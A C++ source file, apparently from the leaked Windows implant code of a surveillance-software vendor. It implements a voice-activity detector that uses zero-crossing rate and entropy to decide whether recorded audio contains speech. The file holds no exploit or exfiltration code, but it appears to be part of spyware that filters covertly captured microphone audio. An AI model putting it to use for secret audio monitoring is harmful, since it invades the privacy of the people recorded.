hackedteam/core-win32

#include <stdio.h>
#include <math.h>
#include "QSpeechDetect.h"

#define SLICE_INTERVAL 4 // 1/4 di secondo

// pBuffer                -> Puntatore al buffer che contiene i dati
// uSamplesPerSecond    -> Samples acquisiti ogni secondo
// uBitsPerSecond        -> Bits di precisione per ogni sample
// uRecordChannels        -> Canali di registrazione
// uBufLen                -> Lunghezza (in byte) del buffer puntato da pBuffer
QSpeechDetect::QSpeechDetect(PBYTE pBuffer, UINT uSamplesPerSecond, UINT uBitsPerSecond, UINT uRecordChannels, UINT uBufLen, FLOAT fThresh):
uBits(16), uChannels(2), uSamples(44100), fZeroThreshold(0.26f)
{
    register UINT i, j;

    if(pBuffer == NULL || uSamplesPerSecond == 0 || uBitsPerSecond == 0 || uRecordChannels == 0 || uBufLen == 0)
        return;

    if(uBufLen < uRecordChannels * (uBitsPerSecond / 8))
        return;

    fZeroThreshold = fThresh;
    uSamples = uSamplesPerSecond;
    uBits = 16; // Lo settiamo a 16 in ogni caso perche' allochiamo pData come SHORT
    uChannels = uRecordChannels;
    uLength = uBufLen;
    uTotalSamples = uLength / (uBits / 8);
    uTotalSamplesPerChannel = uTotalSamples / uChannels;

    pData = NULL;
    pTable = NULL;
    pData = new(std::nothrow) SHORT[uTotalSamplesPerChannel];

    if(pData == NULL)
        return;

    pTable = new(std::nothrow) SHORT[0xFFFF + 1];

    if(pTable == NULL)
        return;

    for(i = 0, j = 0; i < uBufLen; i += (uBits / 8) * uChannels, j++)
        pData[j] = *((SHORT *)(&pBuffer[i]));
}

QSpeechDetect::~QSpeechDetect()
{
    if(pData){
        delete[] pData;
        pData = NULL;
    }

    if(pTable){
        delete[] pTable;
        pTable = NULL;
    }

    return;
}

void QSpeechDetect::SetBuffer(PBYTE pBuffer, UINT uBufLen)
{
    register UINT i, j;

    if(pBuffer == NULL || uBufLen < uChannels * (uBits / 8))
        return;

    uLength = uBufLen;
    uTotalSamples = uLength / (uBits / 8);
    uTotalSamplesPerChannel = uTotalSamples / uChannels;

    if(pData){
        delete[] pData;
        pData = NULL;
    }

    pData = new(std::nothrow) SHORT[uTotalSamplesPerChannel];

    if(pData == NULL)
        return;

    for(i = 0, j = 0; i < uBufLen; i += (uBits / 8) * uChannels, j++)
        pData[j] = *((SHORT *)(&pBuffer[i]));
}

BOOL QSpeechDetect::IsVoice()
{
    INT iTmp;
    UINT i, j, k;
    UINT uSamplesPerInterval, uIntervals, uPerc = 0;
    SHORT sSampleA, sSampleB;
    FLOAT fAvg, fEntropy = 0.0f, fVar;
    PFLOAT fZero = NULL;

    if(pData == NULL || pTable == NULL)
        return FALSE;

    memset(pTable, 0x00, sizeof(SHORT) * 0xFFFF);

    // Calcoliamo lo zero-crossing rate su un intervallo lungo SLICE_INTERVAL
    uSamplesPerInterval = uSamples / SLICE_INTERVAL;            // Sample in un intervallo
    uIntervals = uTotalSamplesPerChannel / uSamplesPerInterval; // Numero di slice da analizzare
    fZero = new(std::nothrow) FLOAT[uIntervals + 1];

    if(fZero == NULL)
        return TRUE; // Nel dubbio, diciamo che c'e' voce :)

    for(i = 0, k = 0; i < uTotalSamplesPerChannel; i += uSamplesPerInterval, k++){
        fAvg = 0.0f;

        for(j = i; j < i + uSamplesPerInterval - 1 && j < uTotalSamplesPerChannel - 1; j++){
            sSampleA = pData[j];
            sSampleB = pData[j + 1];

            iTmp = abs(((sSampleB >= 0) ? 1 : -1) - ((sSampleA >= 0) ? 1 : -1));
            fAvg += (FLOAT)iTmp;
        }

        fAvg /= 2.0f * uTotalSamplesPerChannel;
        fZero[k] = fAvg * 100.0f;
    }

    uPerc = 0;

    for(i = 0; i < uIntervals; i++){
        if(fZero[i] <= fZeroThreshold && fZero[i] >= ZERO_SILENCE_THRESHOLD)
            uPerc++;
    }

    // Tabella per l'entropia
    for(i = 0; i < uTotalSamplesPerChannel; i++){
        pTable[(USHORT)pData[i]] += 1;
    }

    // Calcola l'entropia
    for(i = 0; i < 0xFFFF; i++){
        if(pTable[i]){
            fVar = (FLOAT)pTable[i] / (FLOAT)uTotalSamplesPerChannel;
            fEntropy += (-(fVar * log2(fVar)));
        }
    }

    if(pData){
        delete[] pData;
        pData = NULL;
    }

    if(fZero)
        delete[] fZero;

    // Per disabilitare il filtro sull'entropia e' sufficiente
    // commentare: "&& fEntropy > ENTROPY"
    if(uPerc > ZERO_SENSITIVITY && fEntropy > ENTROPY)
        return TRUE;
    else
        return FALSE;
}

inline FLOAT QSpeechDetect::log2(float x)
{
    return ( log(x) / log((FLOAT)2) );
}